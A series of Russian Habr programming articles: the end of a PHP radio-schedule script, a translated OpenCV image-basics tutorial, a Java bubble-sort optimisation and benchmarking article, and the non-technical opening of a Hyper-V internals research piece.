> $pfile = 'playinfo.txt';
> $handle = fopen($my\_file, 'w') or die('Cannot open file: '.$my\_file);
> $data = $contents;
> fwrite($handle, $data);
>
> $info = json\_decode($contents);
> $name = $info->current\_entry;
> $time = $info->position;
>
> //обрезаем liv/ получаем только название файла с расширением
> $fullname = substr($name, 4);
>
> // считаем временную метку в настоящем времени
> $second = $time / 1000;
>
> sscanf($duration, "%d:%d:%d", $hour, $minutes, $seconds);
>
> // считаем длительность файла
> $ms = $seconds \* 1000 + $minutes \* 60 \* 1000 + $hour \* 30 \* 60 \* 1000;
>
> $ostatok = ($ms - $second);
>
>
> if ($fullname == $media) {
>
> print "[#### В эфире! ".$namer."
>
> ";
>
>
> echo "#### ";
> $estimated = gmdate("H:i:s", $second);
> echo $estimated;
> $elapsed = gmdate("H:i:s", $ostatok-25500);
>
> $conv\_total\_time = strtotime($duration);
> $conv\_est\_time = strtotime($estimated);
> $calc\_time = $conv\_total\_time - $conv\_est\_time;
> $calctime = gmdate("H:i", $calc\_time);
>
> $nowtime = time();
> $next\_time = $nowtime + $calc\_time;
> $res\_time = date("H:i", $next\_time);
>
> echo " | ".$duration."
>
> ";
>
> echo "Осталось до конца: ".$calctime."
> ";
> echo "Время начала следующей передачи: ".$res\_time."
> ";
>
> print "](\"#\" "\\"\".$description.\"\\"")
>
>
> ";
> }
> else
> {
> $conv\_duration = strtotime($duration);
> $conv\_res\_time = strtotime($res\_time);
> $res\_final\_time = $conv\_duration + $conv\_res\_time;
> $res\_time2 = date("H:i",$res\_final\_time+3600);
> print "[#### ".$res\_time." ".$namer."
>
>
> ##### Длительность: ".$duration."](\"#\" "\\"\".$description.\"\\"")";
>
> }
>
> $i++;
> }
> print "";
> }
> ?>
>
>
>
>
> ```
>
>
> | https://habr.com/ru/post/262755/ | null | ru | null |
# OpenCV — быстрый старт: начало работы с изображениями
Перевожу родной OpenCV-шный [туториал](https://opencv.org/opencv-free-course/). И он хорош! (Сложно сказать, чем не понравились те, что есть.)
Изначально туториал в виде ноутбука, поэтому что-то я убрал. А что-то добавил. В общем, это помесь перевода с пересказом.
Вступление
----------
Эта записнушка поможет с первыми шагами в изучении обработки изображений и машинном зрении через OpenCV. Несколько простых примеров объяснят важные вещи! Рассмотрим:
* Как открыть изображение
* Проверить его атрибуты, вроде формы или типа данных в нём
* Матричное представление картинки в Numpy
* Цветные картинки и работу с каналами изображения
* Вывод изображения через matplotlib
* Сохранение изображений
Импортируем нужные библиотеки
-----------------------------
```
import cv2 # собственно OpenCV
import numpy as np # для работы с математикой
import matplotlib.pyplot as plt # для вывода картинки
```
Открываем изображения в OpenCV
------------------------------
Картинкой пойдёт крошечная доска в шашечку, 18×18 пикселей:
"checkerboard\_18x18.png"OpenCV позволяет работать с разными форматами: JPG, PNG, и так далее. Можно загружать цветные и чб-картинки, изображения с альфа-каналом. Для загрузки воспользуйтесь функцией `cv2.imread()`.
#### cv2.imread() — синтаксис и аргументы
```
retval = cv2.imread( filename[, flags] )
```
`retval`: если картинка не загрузилась, в retval запишется `None`. Такое бывает при ошибке в имени/пути, или если изображение битое.
В функцию передаётся один обязательный аргумент и один необязательный флаг:
1. `filename`: Может быть как относительным, так и абсолютным путём. Это **обязательный аргумент**.
2. `Flags`: Флаги нужны для чтения изображения в определенном формате (например, в оттенках серого/цветном/с альфа-каналом). Необязательный аргумент! Значение по умолчанию `cv2.IMREAD_COLOR` или `1`: этот флаг загрузит изображение как цветное.
Перед примерами посмотрим на пару флагов:
1. `cv2.IMREAD_GRAYSCALE` или `0`: Загружаем картинку как чёрно-белую
2. `cv2.IMREAD_COLOR` или `1`: Флаг по умолчанию, загружает картинку как цветную, без альфа-канала.
3. `cv2.IMREAD_UNCHANGED` или `-1`: Загружает картинку в том виде, в котором она есть, включая альфу.
Флагов, конечно, больше.
Подробнее про **imread():** [**ссылка на офф. документацию**](https://docs.opencv.org/4.5.1/d4/da8/group__imgcodecs.html#ga288b8b3da0892bd651fce07b3bbd3a56)Подробнее про **флаги:** [**ссылка на офф. документацию**](https://docs.opencv.org/4.5.1/d8/d6a/group__imgcodecs__flags.html#ga61d9b0126a3e57d9277ac48327799c80)
Теперь посмотрим, что внутри шашечек:
```
# Читаем изображение как чёрно-белое
cb_img = cv2.imread("checkerboard_18x18.png",0)
# Печатаем что прочитали. Каждый пиксель есть элемент двумерного массива numpy.
# Значение пикселей восьмибитное: [0,255]
print(cb_img)
```
чувствуется сходствоПосмотрим атрибуты изображения
------------------------------
```
# вывод размера изображения (то есть, массива Numpy)
print("Image size is ", cb_img.shape)
# тип данных в изображении (то есть, в массиве Numpy)
print("Data type of image is ", cb_img.dtype)
```
В ответ получим:
```
>>>Image size is (18, 18)
>>>Data type of image is uint8
```
Что за uint8?
8-bit unsigned integer arrays!
Uint8 — стандартный способ отображения изображений, где пиксель описывается диапазоном от 0 до 255. Если это изображение в градациях серого, пиксель со значением 0 является черным, а пиксель со значением 255 — белым.
Есть и другие форматы, конечно.
В общем, работаeт всё, что работает с `ndarray`: `.ndim`, `.itemsize`, `.fill()`...
А теперь выведем картинку через matplotlib
------------------------------------------
Двумя командами:
```
# рисуем шашечки
plt.imshow(cb_img)
# выводим шашечки
plt.show()
```
Удивляемся:
шта?Прочитанная цветовая палитра и отображённая могут и не совпасть. Поэтому явно укажем цветовое пространство для вывода изображения:
```
# Поставим настройку color map
plt.imshow(cb_img, cmap='gray')
```
так-то лучше!Другой пример
-------------
Расплывчатые шашечки! Такие же, как в прошлый раз, но теперь с нечёткими гранями:
"checkerboard\_fuzzy\_18x18.jpg"
```
# Читаем картинку как чб
cb_img_fuzzy = cv2.imread("checkerboard_fuzzy_18x18.jpg",0)
# Печатаем массив
print(cb_img_fuzzy)
# Показываем картинку
plt.imshow(cb_img_fuzzy,cmap='gray')
plt.show()
```
Переходим к цвету
-----------------
До этого момента мы говорили про чёрно-белые изображения, а теперь поговорим про цветные.
Подопытным кроликом будет лого колы:
"coca-cola-logo.png"Загружаем, проверяем размер и тип данных:
```
coke_img = cv2.imread("coca-cola-logo.png",1)
print("Image size is ", coke_img.shape)
print("Data type of image is ", coke_img.dtype)
```
В ответ получим:
```
>>>Image size is (700, 700, 3)
>>>Data type of image is uint8
```
Размер картинки поменялся, потому как чб-изображение состоит из одного канала — от чёрного до белого, а цветное — из нескольких, например, трёх: RGB.
Выведем на экран уже известными манипуляциями:
```
plt.imshow(coke_img)
plt.show()
```
Конфуз, однако.
Цвет лого явно отличается от того, что было. Matplotlib ожидает картинку в формате RGB, а OpenCV хранит их в формате BGR. То есть, для корректного отображения нам нужно поменять местами красный и синий каналы.
```
# ниже numpy-специфичная конструкция:
# (:) — взять каждый элемент по порядку,
# (::-1) — взять каждый элемент, но в обратном порядке.
coke_img_channels_reversed = coke_img[:, :, ::-1]
plt.imshow(coke_img_channels_reversed)
```
Так уже пококаколистей.Разделение и объединение каналов
--------------------------------
Две функции:
`cv2.split()` — разделит многоканальный массив на несколько одноканальных.
`cv2.merge()` — объединит массивы в один многоканальный. Массивы должны быть одинакового размера.
Проверим их на озере. В смысле, озером.
"New\_Zealand\_Lake.jpg"
```
# Разбиваем картинку на каналы: B,G,R
img_NZ_bgr = cv2.imread("New_Zealand_Lake.jpg",cv2.IMREAD_COLOR)
b,g,r = cv2.split(img_NZ_bgr)
# Отрисовываем их
plt.figure(figsize=[20,5])
plt.subplot(141);plt.imshow(r,cmap='gray');plt.title("Red Channel")
plt.subplot(142);plt.imshow(g,cmap='gray');plt.title("Green Channel")
plt.subplot(143);plt.imshow(b,cmap='gray');plt.title("Blue Channel")
# Собираем обратно в BGR
imgMerged = cv2.merge((b,g,r))
# Выводим, что получилось
plt.subplot(144);plt.imshow(imgMerged[:,:,::-1]);plt.title("Merged Output")
plt.show()
```
точка с запятой в коде......не поощряется, но допускается. Помогает писать код в одну строку, а иногда это удобно!
Перевод в иные цветовые пространства
------------------------------------
`cv2.cvtColor()` — преобразует изображение из одного цветового пространства в другое. В случае преобразования в RGB и из него порядок каналов надо указать явно: RGB или BGR. Формат цвета по умолчанию в OpenCV часто называют RGB, но на самом деле это BGR. Первый байт в стандартном 24-битном цветном изображении будет 8-битным синим компонентом, второй байт будет зеленым, а третий байт будет красным. Четвертый, пятый и шестой байты будут, соответственно, вторым пикселем — синий, зеленый, красный, и так до конца картинки.
Преобразование BGR в RGB
------------------------
```
img_NZ_rgb = cv2.cvtColor(img_NZ_bgr, cv2.COLOR_BGR2RGB)
plt.imshow(img_NZ_rgb)
plt.show()
```
Преобразование в HSV
--------------------
HSV — Hue, Saturation, Value — тон, насыщенность, значение.
```
img_hsv = cv2.cvtColor(img_NZ_bgr, cv2.COLOR_BGR2HSV)
# Разобъём картинку на H,S,V каналы
h,s,v = cv2.split(img_hsv)
# Нарисуем и покажем их
plt.figure(figsize=[20,5])
plt.subplot(141);plt.imshow(h,cmap='gray');plt.title("H Channel")
plt.subplot(142);plt.imshow(s,cmap='gray');plt.title("S Channel")
plt.subplot(143);plt.imshow(v,cmap='gray');plt.title("V Channel")
plt.subplot(144);plt.imshow(img_NZ_rgb);plt.title("Original")
plt.show()
```
Их и правда подрастянуло: кривой скринМодификация отдельного канала
-----------------------------
Хочется синий посиней? Есть решение!
```
img_NZ_bgr = cv2.imread("New_Zealand_Lake.jpg",cv2.IMREAD_COLOR)
b,g,r = cv2.split(img_NZ_bgr)
b = b+50 # осиняем
plt.figure(figsize=[20,5])
plt.subplot(141);plt.imshow(r,cmap='gray');plt.title("Red Channel")
plt.subplot(142);plt.imshow(g,cmap='gray');plt.title("Green Channel")
plt.subplot(143);plt.imshow(b,cmap='gray');plt.title("Blue Channel")
imgMerged = cv2.merge((r,g,b)) # в этот раз соберём сразу RGB
plt.subplot(144);plt.imshow(imgMerged);plt.title("Merged Output")
plt.show()
```
Чутка борщнулСохранение изображений
----------------------
Почти `cv2.imread`, только `cv2.imwrite`. Первым аргументом передаём путь и имя, вторым — изображение. Оба два обязательны. Расширение OpenCV подберёт, отталкиваясь от указанного в имени. Ещё можно докинуть параметров, и, например, указать качество JPG.
```
cv2.imwrite( filename, img[, params] )
```
Подробнее про **imwrite():** [**ссылка на оф. документацию**](https://docs.opencv.org/4.5.1/d4/da8/group__imgcodecs.html#gabbc7ef1aa2edfaa87772f1202d67e0ce)Подробнее про **параметры:** [**ссылка на офф. документацию**](https://docs.opencv.org/4.5.1/d8/d6a/group__imgcodecs__flags.html#ga292d81be8d76901bff7988d18d2b42ac)
Вот и всё! Первый маленький шажок к человеку-фотошопу пройден! До встречи в следующих сериях. | https://habr.com/ru/post/678260/ | null | ru | null |
# Еще один разбор пузырьковой сортировки
Однажды, новогодним вечером, вдохновившись [статьей](http://habrahabr.ru/post/204600/) про пузырьковую сортировку и ее модификации, я решил написать свою реализацию, и подумать, как бы я смог ее улучшить. А заодно начать все-таки изучать JAVA (по профессии я не программист, хотя немного писал).
Зачем в наши дни нужна сортировка пузырьком?
Она ведь практически самая медленная.
У нее самый высокий (квадратичный) алгоритм сложности.
Но! Она самая простая в реализации и весьма наглядная, и часто используется в образовательных целях или на собеседованиях джуниоров/интернов.
Кроме того, с небольшими модификациями, можно достичь интересных результатов.
Новичков в программировании и заинтересовавшихся — прошу под кат.
Итак, сразу преследуем несколько целей.
Написать реализацию классической пузырьковой сортировки;
Попробовать написать модифицированный алгоритм, который должен обогнать классический «пузырек»;
Изучить основы JAVA и немного ООП.
Всю работу с сортировками и их обработкой вынесем в отдельный класс **ArrayUtils**, из класса **Run** будем вызывать методы сортировки и формировать очередность вызовов с разными наборами данных.
В классе ArrayUtils у нас будет:
1. Собственно сам массив
2. В качестве простейших метрик, добавим две переменные **compareValue** и **switchValue**, чтобы считать количество сравнений и количество перемещений значений, а также **timeAmount** — время работы — они будут обновляться при запуске метода сортировки;
3. Метод вывода результатов и метрик results();
4. Метод validation(), чтобы сразу проверять, действительно ли сортировка работает корректно;
Валидацию я сделал следующим способом.
Конструктор класса **ArrayUtils** получает на вход массив, который копирует в два локальных массива **array** и **sortedArray**, последний тут же сортируем штатным сортировщиком Arrays.sort().
**класс ArrayUtils**
```
public class ArrayUtils {
final private int[] array;
final private int[] sortedArray;
long switchCount, compareCount, timeAmount;
public ArrayUtils(int[] array) {
this.array = array;
this.sortedArray = Arrays.copyOf(array, array.length);
Arrays.sort(sortedArray);
}
void results(String text)
{
System.out.println(String.format("%-35s Compares: %, 15d, Switches: %, 15d, Time: %, 15d", text, compareCount, switchCount, timeAmount));
}
}
```
Собственно метод validation() сравнивает текущее состояние **array** с нашим **sortedArray**, который отсортирован штатным сортировщиком ( в Java это одна из вариаций умного quicksort). Метод я вызываю через assert, в eclipse по умолчанию он выключен, но добавив опции **-ea**, наш assert корректно вываливается, если массив у нас ломается.
**Validation method**
```
boolean validate()
{
if (Arrays.equals(array,sortedArray))
return true;
return false;
}
```
Теперь мы можем приступить к реализации пузырьковой сортировки, которая будет эталоном для дальнейшей работы.
**sortBubbleClassic**
```
public void sortBubbleClassic() {
int currentPosition;
int maxPosition;
int temp;
switchCount=0;
compareCount=0;
time = System.nanoTime();
for (maxPosition=array.length - 1; maxPosition >= 0;maxPosition--) {
for (currentPosition = 0; currentPosition < maxPosition; currentPosition++) {
compareCount++;
if (array[currentPosition] > array[currentPosition+1]) {
temp = array[currentPosition];
array[currentPosition] = array[currentPosition+1];
array[currentPosition+1] = temp;
switchCount++;
}
}
}
time = System.nanoTime() - time;
assert(validate());
return;
}
```
Пишем теперь класс **Run**, из которого будем вызывать сортировку, в нем добавляем метод fillRandom(), чтобы создать набор случайных данных для дальнейшей сортировки.
**Run.java**
```
public class Run {
static public void FillRandom(int[] array) {
for (int count=0; count < array.length; count++) {
array[count] = (int)(Math.random()*100);
}
}
public static void main(String[] args)
{
int arraySize= 10000;
int random[] = new int[arraySize+1];
FillRandom(random);
ArrayUtils bubbleClassic = new ArrayUtils(random);
bubbleClassic.sortBubbleClassic();
bubbleClassic.results("Bubble Classic, random array");
}
}
```
Можно запускать. Передачу массива в созданный класс, с последующим его копированием я сделал для того, чтобы исходный массив со случайными данными у нас оставался неизменным, для последующего использования. Так мы сможем сортировать идентичный набор случайных данных разными способами.
Запускаем, получаем результат:
```
Bubble Classic, random array Compares: 50 005 000, Switches: 24 486 908, Time: 117 116 326
```
Если assert не выкинул ошибку, значит алгоритм сортирует корректно. На массиве из 10.000 элементов мы получили свыше 50 млн сравнений и 24 млн перестановок.
Копируем наш метод sortBubbleClassic в sortBubbleAdvanced, и начинаем думать, что же можно улучшить.
Первым делом, я подумал, что можно добавить проверку на то, отсортирован ли у нас массив, чтобы не гонять по нему впустую.
Для этого я создал Boolean переменную **changed**, которую перед началом внутреннего цикла устанавливается в **false**, а внутри цикла, если мы делаем перестановку, устанавливается в **true**.
Если, пробежав весь внутренний цикл, мы не сделали ни одной перестановки, можно не гонять дальше циклы впустую, а сразу выходить.
**sortBubbleAdvanced - step 1**
```
public void sortBubbleClassic() {
int currentPosition;
int maxPosition;
int temp;
switchCount=0;
compareCount=0;
timeAmount = System.nanoTime();
Boolean changed; // проверка на перестановки
for (maxPosition=array.length - 1; maxPosition >= 0;maxPosition--)
{
changed=false; // обнуляем значение
for (currentPosition = 0; currentPosition < maxPosition; currentPosition++)
{
compareCount++;
if (array[currentPosition] > array[currentPosition+1]){
temp = array[currentPosition];
array[currentPosition] = array[currentPosition+1];
array[currentPosition+1] = temp;
switchCount++;
changed = true; // была перестановка
}
}
if (!changed) { // если не было перестановок - выходим сразу
timeAmount = System.nanoTime() - timeAmount;
assert(validate());
return;
}
}
timeAmount = System.nanoTime() - timeAmount;
assert(validate());
return;
}
```
Далее, если в начале массива, у нас есть большое число, мы тянем его вправо, совершая кучу перестановок. Логично, что можно сразу перемещать его в конец массива.
Однако, делать много проверок, чтобы выяснять куда именно его нужно кинуть — накладно. Поэтому я сделал простейшее решение — проверяем, если текущее значение больше, чем значение в крайнем правом элементе — меняем их местами. Увеличим количество проверок, но сократим количество перестановок.
Сразу и вторая оптимизация — если у нас маленькое число есть в самом конце массива, оно вообще прибежит в начало массива через N внутренних циклов, практически равных количеству элементов в массиве. Поэтому добавляем еще одну проверку, чтобы обменять местами текущее значение и самое левое значение в массиве, если оно меньше. Само по себе, это действие дает лишнюю проверку, но ускоряет несильно. Зато, после завершения пробега внутреннего цикла, мы можем быть уверены, что в самой левой позиции нашего массива данных, находится самое маленькое число. Это означает, что мы теперь можем начинать внутренний цикл не с первого элемента, а со второго. С каждым шагом, мы теперь будем урезать массив для внутреннего цикла сразу на два значения — слева и справа. Это уже явный прирост.
Располагаем наши три проверки рационально.
Первой проверкой идет основная пузырьковая — сравниваются два элемента, затем сравниваем текущий элемент с самым левым элементом массива, на предмет кто меньше. Затем с самым правым, на предмет, кто больше.
**sortBubbleAdvanced - step 2**
```
public void sortBubbleAdvanced(){
int currentPosition;
int maxPosition; // урезаем массив справа
int minPosition = 0; // урезаем массив слева
boolean changed; // остановиться, если уже отсортировано
int temp;
switchCount = 0;
compareCount = 0;
timeAmount = System.nanoTime();
for (maxPosition = array.length - 1; maxPosition >= 0; maxPosition--)
{
changed=false;
for (currentPosition = minPosition; currentPosition < maxPosition; currentPosition++)
{
if (array[currentPosition] > array[currentPosition+1]){ // обычная пузырьковая проверка двух элементов
temp = array[currentPosition+1];
array[currentPosition+1] = array[currentPosition];
array[currentPosition] = temp;
switchCount++;
changed=true;
}
if (array[currentPosition] < array[minPosition]){ // проверяем самый левый элемент массива
temp = array[minPosition];
array[minPosition] = array[currentPosition];
array[currentPosition] = temp;
switchCount++;
changed=true;
}
if (array[currentPosition] > array[maxPosition]){ // проверяем самый правый элемент массива
temp = array[maxPosition];
array[maxPosition] = array[currentPosition];
array[currentPosition] = temp;
switchCount++;
changed=true;
}
compareCount+=3;
}
if (!changed) {
timeAmount=System.nanoTime()-timeAmount;
assert(validate());
return;
}
compareCount++;
minPosition++ // урезаем массив слева
}
timeAmount=System.nanoTime()-timeAmount;
assert(validate());
return;
}
```
Можно проверять, что у нас вышло. Правим класс **Run**, чтобы добавить теперь проверку двух методов и запускаем
```
Bubble Classic, random array Compares: 50 005 000, Switches: 24 758 509, Time: 105 797 881
Bubble Advanced, random array Compares: 112 317 213, Switches: 18 684 909, Time: 87 415 460
```
Как видим, результат весьма значительный. Количество сравнений выросло более чем в два раза. Но зато сократилось количество перестановок, а они по времени «дороже», поэтому по времени мы выигрываем около **15%**!..
Добавим еще два набора данных — уже отсортированный инкрементальный массив, и отсортированный в обратном порядке — декрементальный (по идее он должен быть самым worst case для сортировки), добавляем их в класс **Run** и добавляем вызовы **sortBubbleClassic** и **sortBubbleAdvanced** для всех трех массивов — **random**, **incremental** и **decremental**
**еще два типа массивов**
```
static public void fillDecremental(int[] array) {
for (int count=0; count < array.length; count++) {
array[count] = array.length-count;
}
}
static public void fillIncremental(int[] array) {
for (int count=0; count < array.length; count++) {
array[count] = count;
}
}
```
Смотрим результаты:
```
Bubble Classic, random array Compares: 50 005 000, Switches: 24 678 169, Time: 116 314 053
Bubble Advanced, random array Compares: 111 879 748, Switches: 18 615 013, Time: 77 282 419
Bubble Classic, decremental array Compares: 50 005 000, Switches: 50 005 000, Time: 48 202 818
Bubble Advanced, decremental array Compares: 112 527 500, Switches: 49 985 004, Time: 77 115 071
Bubble Classic, incremental array Compares: 50 005 000, Switches: 0, Time: 24 805 261
Bubble Advanced, incremental array Compares: 30 000, Switches: 0, Time: 35 084
```
На случайном наборе данных, наш продвинутый метод ожидаемо побеждает, а на **decremental** он почти на 60% дольше ;(
Зато он просто мгновенно проверяет уже отсортированный массиве, благодаря нашей маленькой проверке с переменной **changed**.
Меня такой результат порадовал лишь частично. Нельзя оставлять оптимизацию алгоритма, если он на каких-то наборах может показать результат хуже оригинала. Размышляя, как можно улучшить пузырьковую сортировку, не меняя основной принцип, я обратил внимание на то, что в «пузырьке», большие числа активно путешествуют вправо с каждым проходом внутреннего цикла, плюс максимальное число тоже туда перемещается. Таким образом, наша правая часть массива становится отсортированной раньше левой части… Эта мысль реализовалась в следующую идею:
При каждой перестановке, я запоминаю эту позицию. Дойдя до последнего элемента внутреннего цикла, я могу уменьшить массив справа не на единицу, а сразу обрезать до этой последней позиции, где была перестановка, так как это означает, что все позиции после нее уже отсортированы.
Количество циклов должно значительно сократиться, как минимум примерно в два раза для декрементального массива.
Реализуется это всего тремя строчками:
**sortBubbleAdvanced - final step**
```
public void sortBubbleAdvanced(){
int currentPosition;
int maxPosition;
int changedMaxPosition = array.length - 1; // самая правая позиция
int minPosition = 0;
boolean changed;
int temp;
switchCount = 0;
compareCount = 0;
timeAmount = System.nanoTime();
for (maxPosition = array.length - 1; maxPosition >= 0; minPosition++) // тут уже не нужно уменьшать правую позицию, поэтому запихнем сюда minPosition++
{
changed=false;
for (currentPosition = minPosition; currentPosition < maxPosition; currentPosition++)
{
if (array[currentPosition] > array[currentPosition+1]){
temp = array[currentPosition+1];
array[currentPosition+1] = array[currentPosition];
array[currentPosition] = temp;
switchCount++;
changed=true;
changedMaxPosition = currentPosition; // запоминаем что тут была перестановка
}
if (array[currentPosition] < array[minPosition]){
temp = array[minPosition];
array[minPosition] = array[currentPosition];
array[currentPosition] = temp;
switchCount++;
changed=true;
}
if (array[currentPosition] > array[maxPosition]){
temp = array[maxPosition];
array[maxPosition] = array[currentPosition];
array[currentPosition] = temp;
switchCount++;
changed=true;
}
compareCount+=3;
}
if (!changed) {
timeAmount=System.nanoTime()-timeAmount;
assert(validate());
return;
}
compareCount++;
maxPosition = changedMaxPosition; // теперь максимальная позиция - сразу на последнюю перестановку
}
timeAmount=System.nanoTime()-timeAmount;
assert(validate());
return;
}
```
Смотрим, что у нас вышло:
```
Bubble Classic, random array Compares: 50 005 000, Switches: 25 020 725, Time: 117 550 372
Bubble Advanced, random array Compares: 45 090 482, Switches: 10 174 100, Time: 70 032 156
Bubble Classic, decremental array Compares: 50 005 000, Switches: 50 005 000, Time: 47 815 033
Bubble Advanced, decremental array Compares: 60 022 000, Switches: 30 003 000, Time: 46 042 519
Bubble Classic, incremental array Compares: 50 005 000, Switches: 0, Time: 25 072 582
Bubble Advanced, incremental array Compares: 30 000, Switches: 0, Time: 34 773
```
Еще примерно на 10% у нас ускорилась сортировка на случайных данных, и **ДА**, на декрементальном массиве с небольшим отрывом, но мы обогнали классический «пузырек» — как и предполагалось, время уменьшилось примерно в два раза.
Инкрементальный массив у нас проходит мгновенно.
Благодаря резкому сокращению пустых проходов по уже отсортированной части, количество проверок продвинутого алгоритма уменьшилось, и в некоторых случаях даже меньше, чем в оригинале, а количество перестановок значительно меньше всегда (ну и кроме проверок, это же просто расходы на пустой проход по массиву).
Итак, оставаясь в пределах главной идеи пузырьковой сортировки, мы смогли заметно улучшить результат.
Что можно сделать еще?
Давайте сравним наш алгоритм, с лидером quicksort.
Пишем простую реализацию (честно говоря, просто украл в инете, слегка подправив, чтобы оставались метрики, но учитывая, что **quicksort** использует рекурсию, по-хорошему надо было бы добавить метрику для нее… но как ее сравнивать с алгоритмами без рекурсии? В общем, не суть...), итак:
**Простая реализация quicksort**
```
public void quickSort() {
timeAmount = System.nanoTime();
switchCount = 0;
compareCount = 0;
doQuickSort(0, array.length - 1);
timeAmount = System.nanoTime() - timeAmount;
assert(validate());
}
private void doQuickSort(int startPosition, int lastPosition) {
if (startPosition >= lastPosition) {
compareCount++;
return;
}
int tempStartPosition = startPosition, tempLastPosition = lastPosition;
int currentPosition = tempStartPosition - (tempStartPosition - tempLastPosition) / 2;
while (tempStartPosition < tempLastPosition) {
while (tempStartPosition < currentPosition && (array[tempStartPosition] <= array[currentPosition])) {
compareCount++;
tempStartPosition++;
}
while (tempLastPosition > currentPosition && (array[currentPosition] <= array[tempLastPosition])) {
compareCount++;
tempLastPosition--;
}
if (tempStartPosition < tempLastPosition) {
int temp = array[tempStartPosition];
array[tempStartPosition] = array[tempLastPosition];
array[tempLastPosition] = temp;
switchCount++;
if (tempStartPosition == currentPosition)
currentPosition = tempLastPosition;
else if (tempLastPosition == currentPosition){
currentPosition = tempStartPosition;
compareCount++;
}
compareCount++;
}
compareCount++;
}
doQuickSort(startPosition, currentPosition);
doQuickSort(currentPosition + 1, lastPosition);
}
```
Смотрим результаты:
```
Bubble Classic, random array Compares: 50 005 000, Switches: 24 684 713, Time: 117 338 627
QuickSort, random array Compares: 453 318, Switches: 22 234, Time: 3 000 141
Bubble Advanced, random array Compares: 44 832 715, Switches: 10 048 493, Time: 70 540 407
Bubble Classic, decremental array Compares: 50 005 000, Switches: 50 005 000, Time: 47 269 214
QuickSort, decremental array Compares: 153 632, Switches: 5 000, Time: 179 766
Bubble Advanced, decremental array Compares: 60 022 000, Switches: 30 003 000, Time: 45 579 908
Bubble Classic, incremental array Compares: 50 005 000, Switches: 0, Time: 24 927 899
QuickSort, incremental array Compares: 143 632, Switches: 0, Time: 134 437
Bubble Advanced, incremental array Compares: 30 000, Switches: 0, Time: 35 394
```
Как и ожидалось, **quicksort** легко делает все наши алгоритмы и на случайном наборе данных и на декрементальном массиве. Но внезапно, на уже отсортированном массиве, наш продвинутый пузырек делает его почти в 4 раза по скорости!
Сперва, я подумал, что особого смысла в этом нет. Ну да, проверяет мой продвинутый алгоритм, что массив уже отсортирован быстрее, но задача такая встречается крайне редко.
Затем я прикинул, что это не все — на самом деле, практически с той же скоростью, наш продвинутый алгоритм, за один проход, может отсортировать в лучшем случае 3 числа (минимальное, максимальное, и еще парочку подвигать попутно), и решил проверить на практике.
Я изменил метод, который создает инкрементальный массив, чтобы в середине отсортированного массива было несколько случайных чисел:
**Создаем не совсем отсортированный массив**
```
static public void fillIncremental(int[] array) {
for (int count=0; count < array.length; count++) {
array[count] = count;
}
for (int count=array.length/2; count < array.length/2+5; count++) // в середине массива заполним 5 элементов случайными значениями
array[count]=(int)Math.random()*100;
}
```
Смотрим, что вышло:
```
Bubble Classic, incremental array Compares: 50 005 000, Switches: 24 995, Time: 24 751 238
QuickSort, incremental array Compares: 219 964, Switches: 8 426, Time: 249 624
Bubble Advanced, incremental array Compares: 179 740, Switches: 24 981, Time: 125 123
```
Продвинутый пузырьковый алгоритм справился быстрее, чем quicksort, отсортировав 5 случайных чисел почти в два раза быстрее.
Увеличим размер массива в 10 раз, проверим на всякий случай:
```
Bubble Classic, incremental array Compares: 5 000 050 000, Switches: 249 995, Time: 2 168 664 535
QuickSort, incremental array Compares: 2 539 530, Switches: 86 062, Time: 11 479 582
Bubble Advanced, incremental array Compares: 1 799 740, Switches: 249 981, Time: 6 411 974
```
Все равно, почти вдвое быстрее.
На почти отсортированном массиве, где количество неотсортированных элементов не превышает некоторого минимального количества, наш переделанный пузырьковый алгоритм показывает не квадратичную сложность, а обычный O(N), и учитывая его простоту по реализации, он обходит quicksort.
Если добавить количество не отсортированных элементов примерно до 10-ти, скорость quicksort и bubbleAdvanced сравниваются, а затем наш алгоритм все-же скуксивается в безнадежную квадратичную медлительность. Тем не менее, если нужно отсортировать несколько случайно вставленных значений в заранее отсортированном массиве данных — он оказался вне конкуренции.
Мораль, итоги, выводы.
**Итоги**, а точнее цифры были показаны выше, можно обсудить в комментариях.
Исходники — доступны на [github](https://github.com/sfkulyk/SortingVizualization/tree/Habra) (правда там немного мусора, я пытался освоить maven, но исходные файлы классов можно скомпилировать в любой IDE или консоли).
Вдобавок я таки написал свой первый JAVA код, чуть сложнее, чем HelloWorld. А также узнал как минимум про два метода сортировки изнутри.
А кроме того, если поковыряться в алгоритмах, можно потом интуитивно догадываться, какие результаты можно ожидать, и куда копать.
Пока что, я не очень понимаю, почему декрементальный массив обрабатывается быстрее, чем случайный. Мне казалось, что для bubble sort самый плохой случай, это именно decremental массив. Возможно, это связано с тем, что в случайном массиве встречаются одинаковые числа, в общем еще есть над чем подумать.
**Выводы и мораль** — под определенный набор данных, если скорость важна, всегда имеет смысл подумать и придумать свой велосипед, который может обогнать штатные методы, основная задача которых показать быстрый результат в наиболее распространенных случаях. | https://habr.com/ru/post/274493/ | null | ru | null |
# Исследуем внутренние механизмы работы Hyper-V
Если бы работа хакера, а точнее программиста-исследователя происходила так, как это показано в классических фильмах: пришел, постучал по клавишам, на экране все замелькало зеленым, пароли взломались, а деньги внезапно переехали из пункта А в пункт В, — то жить было бы однозначно проще и веселее. Но в действительности любому серьезному хаку всегда предшествует основательная и скучная аналитическая работа. Вот ею мы и займемся, а результаты выкатим на твой суд в виде цикла из двух статей. Убедись, что у тебя есть достаточный запас пива и сигарет, — прочтение таких материалов опасно для неподготовленного мозга :).
Обнаружение бага, получившего впоследствии номер MS13-092 (ошибка в компоненте Hyper-V Windows Server 2012, позволяющая отправить гипервизор в BSOD из гостевой ОС или выполнить произвольный код в других гостевых ОС, запущенных на уязвимом хост-сервере), стало очень неприятным сюрпризом для инженеров Microsoft. До этого в течение почти трех лет никто не обнаруживал уязвимости в Hyper-V. До нее была только MS10-102, которую нашли в конце 2010 года. За эти четыре года популярность облачных сервисов сильно возросла, и исследователи проявляют все больший интерес к безопасности гипервизоров, лежащих в основе облачных систем. Однако количество публично доступных работ крайне невелико: исследователи неохотно тратят свое время на изучение таких сложных и плохо документированных архитектурных решений. В этой статье не рассказано о конкретных уязвимостях гипервизора, но она должна пролить свет на работу некоторых внутренних механизмов Hyper-V и тем самым частично упростить будущие исследования.
> ### INFO
>
>
>
>
>
> Перед прочтением статьи рекомендуется ознакомиться с отчетом ERNW, материалом «Hyper-V debugging for beginners», а также с официальным документом Hypervisor TLFS.
### VMBus
